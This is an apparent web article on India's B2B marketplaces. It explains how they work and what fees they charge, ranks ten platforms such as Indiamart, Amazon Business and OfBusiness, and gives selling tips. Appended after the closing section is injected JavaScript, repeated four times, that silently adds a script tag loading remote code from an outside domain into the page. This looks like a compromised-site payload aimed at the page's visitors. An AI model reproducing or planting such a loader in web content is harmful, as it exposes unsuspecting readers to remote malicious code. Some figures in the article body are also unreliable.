Table of content:
The Indian B2B marketplace will reach $1.5 trillion by 2030. This explains the rapid growth of the B2B platform in India. B2B marketplaces are digital platforms where businesses can sell their goods and products to other businesses. The transaction occurs here between the retailers, wholesalers, and distributors. These B2B marketplaces work as mediators between the suppliers and buyers.
Explaining B2B Marketplace - How They Work
A B2B marketplace is a digital platform that enables businesses to sell products to other companies.
Whenever a business (buyer) deals with a single supplier, it cannot do a price comparison of a wide variety of products. There may be a delay in product delivery due to supply chain disruptions. But a B2B marketplace allows businesses to compare the products and their prices of various business buyers and then place the order in bulk quantities. The company (seller) can even reach a broader market because of this B2B online marketplace in India.
Now, let's discuss the working of an online B2B marketplace.
- The sellers can be wholesalers, distributors, or manufacturers. They need to first register on the B2B online marketplace.
- The sellers need to upload the product catalogues with all the product details to the B2B marketplace or platform.
- The buyer searches for the product and can compare prices of that product between different sellers.
- The buyer places the order in bulk quantities after finalizing the seller.
- The buyer makes the payments through the B2B platform.
An online B2B marketplace in India charges a small fee from both the business buyer and seller. The fees can be of various types.
1. Listing Fees
The online B2B platforms in India charge listing fees from the seller when they list products on them.
2. Subscription Or Membership Fees
The B2B marketplace in India charges a subscription fee from business sellers for using the platform, listing products, or utilizing additional tools and features.
3. Transaction Fees
The B2B online platform charges a small fee on each transaction made through the platform. The seller typically pays a certain amount for each transaction made through the platform. However, in some cases, it is split between the business buyer and seller.
4. Advertising Fees
Some online platforms charge a small fee from the business seller to increase the visibility of their product. It can be in the form of sponsored listings or banner ads.
5. Premium Service Fees
Some online marketplaces charge the seller for providing additional services like logistics and insurance.
Top 10 B2B Marketplaces In India
Here is a list of the top B2B marketplaces in India.
1. Indiamart
Indiamart is the top B2B marketplace in India. This online marketplace connects suppliers or manufacturers with buyers. The suppliers can sell on this platform from anywhere. The seller must create an account and provide all the business details, such as the company's name, address, and email. The seller must add a minimum of three products or services to the free listing page. The best thing about Indiamart is that it does not charge commission fees from the sellers. There are more than 82 lakh buyers and almost 20.6 crores of sellers on Indiamart. This online B2B portal in India has its presence in almost all the states. Indiamart covers various product categories like chemicals, textiles, electronics, auto spare parts, and many more. This online marketplace caters to various business needs. The online marketplace enables small manufacturers to list their products on the platform, making them visible to millions of customers in India.
2. Flipkart Wholesale
Flipkart Wholesale serves kirana stores and micro, small, and medium enterprises. A business buyer can find a wide range of product categories here, including grocery, fashion, kitchen items, and household products. Retailers can visit the Flipkart wholesale website or app and place bulk orders. Flipkart Wholesale B2B marketplace in India even has physical stores in over 20 cities. The retailer can visit the physical store, browse the catalogues, and then place the order. Flipkart Wholesale has a dedicated sales team that helps Kirana stores place orders online. The B2B platform delivers the orders directly to the business buyer's doorstep.
3. TradeIndia
TradeIndia is one of the oldest B2B online marketplace in India. The primary objective of this online marketplace is to connect various suppliers, including manufacturers, suppliers, and traders, with business buyers from not only India but also overseas. There are more than 12,000 product categories on this online platform, including chemicals, electronics, agriculture, manufacturing parts, and many more. The Business can post about its requirements, and suppliers can connect with it accordingly. The supplier and the provider provide detailed information, along with product specifications, to build trust with the buyer. Trade India even has a mobile-friendly app from which buyers can easily browse the products and place orders from anywhere. However, Trade India does not provide end-to-end logistics solutions to the business buyers and suppliers. Again, many sellers use the same product listings, creating tough competition among them. The seller needs premium services to differentiate themselves from other sellers.
4. Tata Nexarc
Tata Nexarc is a B2B marketplace that provides trusted solutions for micro, small, and medium-sized enterprises. SMEs can procure raw materials, such as metal and steel, from sellers through this B2B platform. The smooth procurement process ensures the timely delivery of raw materials at competitive prices. Tata Nexarc provides reliable logistics services for business buyers. Verified 3PL logistics company delivers to almost 19,000 pin codes in India. Sellers do not require a subscription for premium services. The B2B marketplace also offers financial solutions to support business health.
The online marketplace is new, and hence its scale-up is somewhat less compared to established online B2B marketplaces like Indiamart.
5. Amazon Business
Amazon Business is a top B2B platform in India. Business buyers can access various categories, including electronics, pantry goods, and furniture. Amazon Business lists over 15 crore products. Most products are GST-enabled, allowing buyers to claim tax credit while filing GST returns.
A buyer can get discounts on Amazon business if they purchase in bulk quantities.
Amazon Business serves both small and large enterprises. It delivers to over 99.8% of Indian pin codes. The platform enables the creation of multiple Amazon seller accounts under a single business account.
6. The Udaan
Udaan was founded in 2016 and has its headquarters in Bengaluru. This B2B portal in India features the Udaan app, through which business buyers can place orders and track their progress. The app supports multiple languages, including Hindi and English, among others. Hence, shopkeepers or retailers find it easy to use the Udaan app. A business buyer can find various product categories, which include clothing, footwear, electronics, and many more. The buyer can buy directly from the manufacturer or distributor at wholesale price. Udaan has its own logistics networks, and hence the product reaches the retailer's doorstep quickly and efficiently. The Uddan B2B marketplaces focus only on the Indian market.
7. Alibaba
Alibaba is one of the biggest and most reputable B2B portals in India. There are numerous categories of products available on this online platform, including electronics, clothing, auto parts, chemicals, and many more. It connects buyers and suppliers from all over the globe. Most Indian business buyers export products primarily from China through this online B2B marketplace. Many suppliers on this online platform offer custom branding, packaging, and design options for business buyers. The online B2B marketplace offers various shipping methods, including sea and air, and ensures the timely and efficient delivery of products. It even allows business buyers to track their shipments in real time.
8. Power2SME
Power 2 SME is the next B2B e-commerce platform in India that specialises in steel, plastics, paint, cement, and many more. The platform especially helps small enterprises to buy products at a low cost compared to Indiamart and Udaan. Power 2SME provides transport and logistics services, transporting products to their destinations quickly and efficiently. There is an app in this marketplace that allows business buyers to place orders, make payments, and track orders easily.
9. Moglix
Moglix is the next platform where a business buyer can find 1.5 million industrial products, including electricals, chemicals, packaging, and many more. This B2B portal in India offers credit and working capital loans to small-scale enterprises, ensuring a smooth cash flow. It also provides logistics services and ensures that products are delivered on time to various locations throughout India. Moglix works with verified manufacturers and distributors, ensuring that all products available are of high quality.
10. Of business
OfBusiness was founded in 2015, and today it is one of the most popular B2B portals in India. The platform offers a wide range of raw materials, including steel, chemicals, polymers, and more, at competitive prices. Business buyers can purchase products in bulk at discounted prices through this online marketplace. OfBusiness offers working capital loans even to small enterprises. It delivers products in various locations in India.
The platform collaborates with 4,000 transporters to deliver 150,000 consignments annually. It tracks all the consignments in real time and updates them with the clients.
Different Types Of B2B Marketplace & Portal
There are various types of B2B marketplaces in India. Here is a list of them below.
- Manufacturing Portals - It connects manufacturers with businesses that require manufactured products in bulk quantities.
- Wholesale and Distribution Panels - This marketplace is mainly for buying finished goods.
- Raw Material Portals - These portals are primarily used for purchasing raw materials and commodities.
- Service Marketplaces - These marketplaces connect businesses with service providers.
How to Choose The Right B2B Platform For Your Business?
There are various B2B online platforms in India. Choosing the best one is highly essential for a smooth supply chain. You need to keep a few factors in mind while choosing the right B2B platform.
1. Understand Your Business Requirements
You need to understand your business requirements, such as whether you need to purchase raw materials or finished goods for the business. Secondly, you need to decide whether you want to source products from local distributors or import them from a global supplier.
2. Check Product Category And Supplier Quality
Ensure that the B2B marketplace specialises in your products to get better services. Remember, a marketplace that has done specialisation in your industry can provide more tailored solutions and can better understand your needs.
3. Size And Reputation
You need to verify whether the online marketplace is small, large, and reputable. Remember, a large online B2B marketplace can attract more sellers and buyers. You can get better products on a larger marketplace. Check the reputation of the online B2B platform. It should have good reviews and ratings.
3. Seller Verification
Check whether the platform verifies the seller through certifications or licenses before registration on the online marketplace. It avoids unreliable suppliers in an online B2B marketplace in India.
4. Pricing And Payment Options
You need to compare the commission fees or listing fees of various B2B marketplaces. You need to understand the market's pricing structure and choose the one that fits your budget. It should also provide secure payment gateways for transactions.
5. Logistics Support
Check for other services like packaging, shipping, and return process while choosing a B2B marketplace in India.
6. Easy To Use
The B2B marketplace should be easy to use and navigate. It should also enable us to list products or manage orders efficiently.
7. Integration With The Existing System
The B2B portal in India that you will choose should seamlessly integrate with the existing system of your business to avoid mistakes.
Pros & Cons Of Selling On B2B Online Marketplace In India
Pros
1. Wider Reach
A business can sell its products both locally and internationally through a B2B marketplace. The marketplace enables us to connect with buyers worldwide and increase our profits.
2. Convenience
The B2B platforms manage various aspects of a business seller. For example, it manages product listings, handles transactions, or provides warehouse and logistics support.
3. Saves cost
The business does not have to invest money in a physical store to sell products to other companies. So the online B2B marketplace reduces the cost associated with a traditional marketplace.
4. Market Insights
A B2B marketplace provides data about the business buyer and their preferences. This helps a business improve its marketing strategy and make better decisions.
Cons Of A B2B Marketplace
1. High Competition
Thousands of sellers list similar products on the B2B marketplace in India. So there is high competition among the business buyers.
2. Commission and subscription Fees
Some B2B marketplaces in India offer high commission and listing fees, which can be challenging for small and medium enterprises.
Best Strategy For Selling On B2B Marketplaces In India
1. Optimize Your Product Listings
A business seller needs to upload a clear product image on the B2B Portal. The seller even needs to write a clear description of the product and use relevant keywords so that a business buyer can easily find the products.
2. Competitive Pricing
The business seller should research its competitors who are selling similar products on the same marketplace and set prices accordingly. Again, it should provide discounts when a business buyer orders products in bulk quantities to have a high chance of repeat orders.
3. Leverage Paid Promotions
The business seller uses sponsored advertisements or paid promotions to increase the visibility of their products.
4. Respond Fast And Professionally
Buyers connect with multiple suppliers and inquire about the products. The business seller should respond to the buyer's queries quickly and professionally to get more orders.
5. Offer Samples And Flexible Payment Options
The business should offer free samples to the business buyer so that the buyer can be assured of its quality. Simultaneously, the buyer should provide multiple payment options for easy payment.
6. Focus On Logistics And After-Sales Support
The business buyer should partner with a reliable 3PL service provider for the smooth delivery of products. It should provide real-time updates to the business buyer and handle complaints or product returns effectively.
Final Words
A B2B marketplace is a digital platform where business buyers register and list their products. It enables a buyer to reach a wider number of buyers, i.e, both nationally and globally, and increase its revenue.
;;;;;var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);
